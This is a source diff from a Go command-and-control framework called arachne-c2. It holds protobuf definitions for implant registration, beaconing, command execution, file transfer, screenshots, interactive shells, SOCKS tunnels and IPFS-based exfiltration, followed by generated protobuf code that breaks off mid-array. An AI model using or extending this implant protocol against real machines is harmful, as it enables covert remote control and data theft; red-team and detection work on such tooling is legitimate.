package arachnepb;
option go_package = "github.com/anomalyco/arachne-c2/protobuf/arachnepb";
import "commonpb/common.proto";
// Envelope wraps all messages sent between operator and implant
message Envelope {
int64 ID = 1;
uint32 Type = 2;
bytes Data = 3;
bytes Signature = 4;
bytes SenderKey = 5;
}
// Register - First message implant sends after connecting
message Register {
string Name = 1;
string Hostname = 2;
string UUID = 3;
string Username = 4;
string UID = 5;
string GID = 6;
string OS = 7;
string Arch = 8;
int32 PID = 9;
string Filename = 10;
string Version = 11;
int64 PeerID = 12;
string ActiveC2 = 13;
int64 ReconnectInterval = 14;
string Locale = 15;
}
// BeaconRegister - Used for async beacon mode
message BeaconRegister {
string ID = 1;
int64 Interval = 2;
int64 Jitter = 3;
Register Register = 4;
int64 NextCheckin = 5;
}
// Ping - Keepalive / round-trip test
message Ping {
int32 Nonce = 1;
commonpb.Response Response = 8;
commonpb.Request Request = 9;
}
// KillReq - Request implant to die
message KillReq {
commonpb.Request Request = 9;
}
// PsReq - List processes
message PsReq {
commonpb.Request Request = 9;
}
message Ps {
repeated commonpb.Process Processes = 1;
commonpb.Response Response = 9;
}
// ExecuteReq - Run a command
message ExecuteReq {
string Path = 1;
repeated string Args = 2;
bool Output = 3;
commonpb.Request Request = 9;
}
message Execute {
uint32 Status = 1;
bytes Stdout = 2;
bytes Stderr = 3;
uint32 Pid = 4;
commonpb.Response Response = 9;
}
// LsReq - List directory
message LsReq {
string Path = 1;
commonpb.Request Request = 9;
}
message FileInfo {
string Name = 1;
bool IsDir = 2;
int64 Size = 3;
int64 ModTime = 4;
string Mode = 5;
string Link = 6;
}
message Ls {
string Path = 1;
bool Exists = 2;
repeated FileInfo Files = 3;
commonpb.Response Response = 9;
}
// CdReq - Change directory
message CdReq {
string Path = 1;
commonpb.Request Request = 9;
}
message PwdReq {
commonpb.Request Request = 9;
}
message Pwd {
string Path = 1;
commonpb.Response Response = 9;
}
// DownloadReq - Download file from implant
message DownloadReq {
string Path = 1;
commonpb.Request Request = 9;
}
message Download {
string Path = 1;
bool Exists = 2;
bytes Data = 3;
commonpb.Response Response = 9;
}
// UploadReq - Upload file to implant
message UploadReq {
string Path = 1;
bytes Data = 2;
bool Overwrite = 3;
commonpb.Request Request = 9;
}
message Upload {
string Path = 1;
int32 BytesWritten = 2;
commonpb.Response Response = 9;
}
// ScreenshotReq - Capture screen
message ScreenshotReq {
commonpb.Request Request = 9;
}
message Screenshot {
bytes Data = 1;
commonpb.Response Response = 9;
}
// ShellReq - Open interactive shell
message ShellReq {
string Path = 1;
bool EnablePTY = 2;
uint32 Pid = 3;
uint64 TunnelID = 8;
commonpb.Request Request = 9;
}
message Shell {
string Path = 1;
bool EnablePTY = 2;
uint32 Pid = 3;
uint64 TunnelID = 8;
commonpb.Response Response = 9;
}
// Tunnel - Stream tunnel
message Tunnel {
uint64 TunnelID = 8;
string SessionID = 9;
}
message TunnelData {
bytes Data = 1;
bool Closed = 2;
uint64 Sequence = 3;
uint64 TunnelID = 8;
string SessionID = 9;
}
// Socks5 proxy
message Socks {
uint64 TunnelID = 8;
string SessionID = 9;
}
message SocksData {
bytes Data = 1;
bool CloseConn = 2;
uint64 Sequence = 5;
uint64 TunnelID = 8;
commonpb.Request Request = 9;
}
// ExfilData - IPFS-based exfiltration reference
message ExfilData {
string CID = 1;
bytes Key = 2;
string FileName = 3;
int64 Size = 4;
uint32 Type = 5;
commonpb.Response Response = 9;
}
+495
View File
@@ -0,0 +1,495 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.31.0
// protoc v4.25.1
// source: commonpb/common.proto
package commonpb
import (
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
reflect "reflect"
sync "sync"
)
const (
// Verify that this generated code is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
// Verify that runtime/protoimpl is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
)
type Empty struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
}
func (x *Empty) Reset() {
*x = Empty{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Empty) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Empty) ProtoMessage() {}
func (x *Empty) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Empty.ProtoReflect.Descriptor instead.
func (*Empty) Descriptor() ([]byte, []int) {
return file_commonpb_common_proto_rawDescGZIP(), []int{0}
}
type Process struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Pid int32 `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
Ppid int32 `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
Name string `protobuf:"bytes,3,opt,name=Name,proto3" json:"Name,omitempty"`
Owner string `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
Path string `protobuf:"bytes,5,opt,name=Path,proto3" json:"Path,omitempty"`
Args string `protobuf:"bytes,6,opt,name=Args,proto3" json:"Args,omitempty"`
Session string `protobuf:"bytes,7,opt,name=Session,proto3" json:"Session,omitempty"`
Architecture string `protobuf:"bytes,8,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
}
func (x *Process) Reset() {
*x = Process{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Process) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Process) ProtoMessage() {}
func (x *Process) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[1]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Process.ProtoReflect.Descriptor instead.
func (*Process) Descriptor() ([]byte, []int) {
return file_commonpb_common_proto_rawDescGZIP(), []int{1}
}
func (x *Process) GetPid() int32 {
if x != nil {
return x.Pid
}
return 0
}
func (x *Process) GetPpid() int32 {
if x != nil {
return x.Ppid
}
return 0
}
func (x *Process) GetName() string {
if x != nil {
return x.Name
}
return ""
}
func (x *Process) GetOwner() string {
if x != nil {
return x.Owner
}
return ""
}
func (x *Process) GetPath() string {
if x != nil {
return x.Path
}
return ""
}
func (x *Process) GetArgs() string {
if x != nil {
return x.Args
}
return ""
}
func (x *Process) GetSession() string {
if x != nil {
return x.Session
}
return ""
}
func (x *Process) GetArchitecture() string {
if x != nil {
return x.Architecture
}
return ""
}
type EnvVar struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
}
func (x *EnvVar) Reset() {
*x = EnvVar{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *EnvVar) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*EnvVar) ProtoMessage() {}
func (x *EnvVar) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[2]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use EnvVar.ProtoReflect.Descriptor instead.
func (*EnvVar) Descriptor() ([]byte, []int) {
return file_commonpb_common_proto_rawDescGZIP(), []int{2}
}
func (x *EnvVar) GetKey() string {
if x != nil {
return x.Key
}
return ""
}
func (x *EnvVar) GetValue() string {
if x != nil {
return x.Value
}
return ""
}
type Response struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Err uint32 `protobuf:"varint,1,opt,name=Err,proto3" json:"Err,omitempty"`
ErrMsg string `protobuf:"bytes,2,opt,name=ErrMsg,proto3" json:"ErrMsg,omitempty"`
Data []byte `protobuf:"bytes,3,opt,name=Data,proto3" json:"Data,omitempty"`
}
func (x *Response) Reset() {
*x = Response{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Response) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Response) ProtoMessage() {}
func (x *Response) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[3]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Response.ProtoReflect.Descriptor instead.
func (*Response) Descriptor() ([]byte, []int) {
return file_commonpb_common_proto_rawDescGZIP(), []int{3}
}
func (x *Response) GetErr() uint32 {
if x != nil {
return x.Err
}
return 0
}
func (x *Response) GetErrMsg() string {
if x != nil {
return x.ErrMsg
}
return ""
}
func (x *Response) GetData() []byte {
if x != nil {
return x.Data
}
return nil
}
type Request struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Opcode uint32 `protobuf:"varint,1,opt,name=Opcode,proto3" json:"Opcode,omitempty"`
Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
PeerID int64 `protobuf:"varint,3,opt,name=PeerID,proto3" json:"PeerID,omitempty"`
}
func (x *Request) Reset() {
*x = Request{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[4]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Request) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Request) ProtoMessage() {}
func (x *Request) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[4]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Request.ProtoReflect.Descriptor instead.
func (*Request) Descriptor() ([]byte, []int) {
return file_commonpb_common_proto_rawDescGZIP(), []int{4}
}
func (x *Request) GetOpcode() uint32 {
if x != nil {
return x.Opcode
}
return 0
}
func (x *Request) GetData() []byte {
if x != nil {
return x.Data
}
return nil
}
func (x *Request) GetPeerID() int64 {
if x != nil {
return x.PeerID
}
return 0
}
var File_commonpb_common_proto protoreflect.FileDescriptor
var file_commonpb_common_proto_rawDesc = []byte{
0x0a, 0x15, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x08, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0xbf, 0x01, 0x0a, 0x07, 0x50,
0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20,
0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x70, 0x69, 0x64,
0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x50, 0x70, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04,
0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65,
0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x05,
0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72,
0x67, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x67, 0x73, 0x12, 0x18,
0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52,
0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68,
0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c,
0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x22, 0x30, 0x0a, 0x06,
0x45, 0x6e, 0x76, 0x56, 0x61, 0x72, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20,
0x01, 0x28, 0x09, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75,
0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x48,
0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72,
0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x16, 0x0a, 0x06,
0x45, 0x72, 0x72, 0x4d, 0x73, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x45, 0x72,
0x72, 0x4d, 0x73, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x03, 0x20, 0x01,
0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x4d, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75,
0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x70, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20,
0x01, 0x28, 0x0d, 0x52, 0x06, 0x4f, 0x70, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44,
0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12,
0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52,
0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x42, 0x33, 0x5a, 0x31, 0x67, 0x69, 0x74, 0x68, 0x75,
0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x61, 0x6e, 0x6f, 0x6d, 0x61, 0x6c, 0x79, 0x63, 0x6f, 0x2f,
0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x2d, 0x63, 0x32, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f,
0x62, 0x75, 0x66, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72,
0x6f, 0x74, 0x6f, 0x33,
}
var (
file_commonpb_common_proto_rawDescOnce sync.Once
file_commonpb_common_proto_rawDescData = file_commonpb_common_proto_rawDesc
)
func file_commonpb_common_proto_rawDescGZIP() []byte {
file_commonpb_common_proto_rawDescOnce.Do(func() {
file_commonpb_common_proto_rawDescData = protoimpl.X.CompressGZIP(file_commonpb_common_proto_rawDescData)
})
return file_commonpb_common_proto_rawDescData
}
var file_commonpb_common_proto_msgTypes = make([]protoimpl.MessageInfo, 5)
var file_commonpb_common_proto_goTypes = []interface{}{
(*Empty)(nil), // 0: commonpb.Empty
(*Process)(nil), // 1: commonpb.Process
(*EnvVar)(nil), // 2: commonpb.EnvVar
(*Response)(nil), // 3: commonpb.Response
(*Request)(nil), // 4: commonpb.Request
}
var file_commonpb_common_proto_depIdxs = []int32{
0, // [0:0] is the sub-list for method output_type
0, // [0:0] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
}
func init() { file_commonpb_common_proto_init() }
func file_commonpb_common_proto_init() {
if File_commonpb_common_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_commonpb_common_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Empty); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Process); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*EnvVar); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Response); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Request); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_commonpb_common_proto_rawDesc,
NumEnums: 0,
NumMessages: 5,
NumExtensions: 0,
NumServices: 0,
},
GoTypes: file_commonpb_common_proto_goTypes,
DependencyIndexes: file_commonpb_common_proto_depIdxs,
MessageInfos: file_commonpb_common_proto_msgTypes,
}.Build()
File_commonpb_common_proto = out.File
file_commonpb_common_proto_rawDesc = nil
file_commonpb_common_proto_goTypes = nil
file_commonpb_common_proto_depIdxs = nil
}
+33
View File
@@ -0,0 +1,33 @@
syntax = "proto3";
package commonpb;
option go_package = "github.com/anomalyco/arachne-c2/protobuf/commonpb";
message Empty {}
message Process {
int32 Pid = 1;
int32 Ppid = 2;
string Name = 3;
string Owner = 4;
string Path = 5;
string Args = 6;
string Session = 7;
string Architecture = 8;
}
message EnvVar {
string Key = 1;
string Value = 2;
}
message Response {
uint32 Err = 1;
string ErrMsg = 2;
bytes Data = 3;
}
message Request {
uint32 Opcode = 1;
bytes Data = 2;
int64 PeerID = 3;
}
+496
View File
@@ -0,0 +1,496 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.31.0
// protoc v4.25.1
// source: rpcpb/rpc.proto
package rpcpb
import (
arachnepb "github.com/anomalyco/arachne-c2/protobuf/arachnepb"
commonpb "github.com/anomalyco/arachne-c2/protobuf/commonpb"
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
reflect "reflect"
sync "sync"
)
const (
// Verify that this generated code is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
// Verify that runtime/protoimpl is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
)
type Version struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Version string `protobuf:"bytes,1,opt,name=Version,proto3" json:"Version,omitempty"`
Commit string `protobuf:"bytes,2,opt,name=Commit,proto3" json:"Commit,omitempty"`
GoVersion string `protobuf:"bytes,3,opt,name=GoVersion,proto3" json:"GoVersion,omitempty"`
}
func (x *Version) Reset() {
*x = Version{}
if protoimpl.UnsafeEnabled {
mi := &file_rpcpb_rpc_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Version) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Version) ProtoMessage() {}
func (x *Version) ProtoReflect() protoreflect.Message {
mi := &file_rpcpb_rpc_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Version.ProtoReflect.Descriptor instead.
func (*Version) Descriptor() ([]byte, []int) {
return file_rpcpb_rpc_proto_rawDescGZIP(), []int{0}
}
func (x *Version) GetVersion() string {
if x != nil {
return x.Version
}
return ""
}
func (x *Version) GetCommit() string {
if x != nil {
return x.Commit
}
return ""
}
func (x *Version) GetGoVersion() string {
if x != nil {
return x.GoVersion
}
return ""
}
type ImplantInfo struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"`
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
Hostname string `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
OS string `protobuf:"bytes,4,opt,name=OS,proto3" json:"OS,omitempty"`
Arch string `protobuf:"bytes,5,opt,name=Arch,proto3" json:"Arch,omitempty"`
Username string `protobuf:"bytes,6,opt,name=Username,proto3" json:"Username,omitempty"`
PeerID string `protobuf:"bytes,7,opt,name=PeerID,proto3" json:"PeerID,omitempty"`
LastCheckin int64 `protobuf:"varint,8,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
Interval int64 `protobuf:"varint,9,opt,name=Interval,proto3" json:"Interval,omitempty"`
IsBeacon bool `protobuf:"varint,10,opt,name=IsBeacon,proto3" json:"IsBeacon,omitempty"`
Locale string `protobuf:"bytes,11,opt,name=Locale,proto3" json:"Locale,omitempty"`
RemoteAddress string `protobuf:"bytes,12,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
}
func (x *ImplantInfo) Reset() {
*x = ImplantInfo{}
if protoimpl.UnsafeEnabled {
mi := &file_rpcpb_rpc_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *ImplantInfo) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*ImplantInfo) ProtoMessage() {}
func (x *ImplantInfo) ProtoReflect() protoreflect.Message {
mi := &file_rpcpb_rpc_proto_msgTypes[1]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use ImplantInfo.ProtoReflect.Descriptor instead.
func (*ImplantInfo) Descriptor() ([]byte, []int) {
return file_rpcpb_rpc_proto_rawDescGZIP(), []int{1}
}
func (x *ImplantInfo) GetID() string {
if x != nil {
return x.ID
}
return ""
}
func (x *ImplantInfo) GetName() string {
if x != nil {
return x.Name
}
return ""
}
func (x *ImplantInfo) GetHostname() string {
if x != nil {
return x.Hostname
}
return ""
}
func (x *ImplantInfo) GetOS() string {
if x != nil {
return x.OS
}
return ""
}
func (x *ImplantInfo) GetArch() string {
if x != nil {
return x.Arch
}
return ""
}
func (x *ImplantInfo) GetUsername() string {
if x != nil {
return x.Username
}
return ""
}
func (x *ImplantInfo) GetPeerID() string {
if x != nil {
return x.PeerID
}
return ""
}
func (x *ImplantInfo) GetLastCheckin() int64 {
if x != nil {
return x.LastCheckin
}
return 0
}
func (x *ImplantInfo) GetInterval() int64 {
if x != nil {
return x.Interval
}
return 0
}
func (x *ImplantInfo) GetIsBeacon() bool {
if x != nil {
return x.IsBeacon
}
return false
}
func (x *ImplantInfo) GetLocale() string {
if x != nil {
return x.Locale
}
return ""
}
func (x *ImplantInfo) GetRemoteAddress() string {
if x != nil {
return x.RemoteAddress
}
return ""
}
type ImplantList struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Implants []*ImplantInfo `protobuf:"bytes,1,rep,name=Implants,proto3" json:"Implants,omitempty"`
}
func (x *ImplantList) Reset() {
*x = ImplantList{}
if protoimpl.UnsafeEnabled {
mi := &file_rpcpb_rpc_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *ImplantList) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*ImplantList) ProtoMessage() {}
func (x *ImplantList) ProtoReflect() protoreflect.Message {
mi := &file_rpcpb_rpc_proto_msgTypes[2]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use ImplantList.ProtoReflect.Descriptor instead.
func (*ImplantList) Descriptor() ([]byte, []int) {
return file_rpcpb_rpc_proto_rawDescGZIP(), []int{2}
}
func (x *ImplantList) GetImplants() []*ImplantInfo {
if x != nil {
return x.Implants
}
return nil
}
var File_rpcpb_rpc_proto protoreflect.FileDescriptor
var file_rpcpb_rpc_proto_rawDesc = []byte{
0x0a, 0x0f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2f, 0x72, 0x70, 0x63, 0x2e, 0x70, 0x72, 0x6f, 0x74,
0x6f, 0x12, 0x05, 0x72, 0x70, 0x63, 0x70, 0x62, 0x1a, 0x15, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a,
0x17, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2f, 0x61, 0x72, 0x61, 0x63, 0x68,
0x6e, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x59, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73,
0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01,
0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a,
0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43,
0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x47, 0x6f, 0x56, 0x65, 0x72, 0x73, 0x69,
0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x47, 0x6f, 0x56, 0x65, 0x72, 0x73,
0x69, 0x6f, 0x6e, 0x22, 0xbd, 0x02, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49,
0x6e, 0x66, 0x6f, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,
0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28,
0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e,
0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e,
0x61, 0x6d, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28,
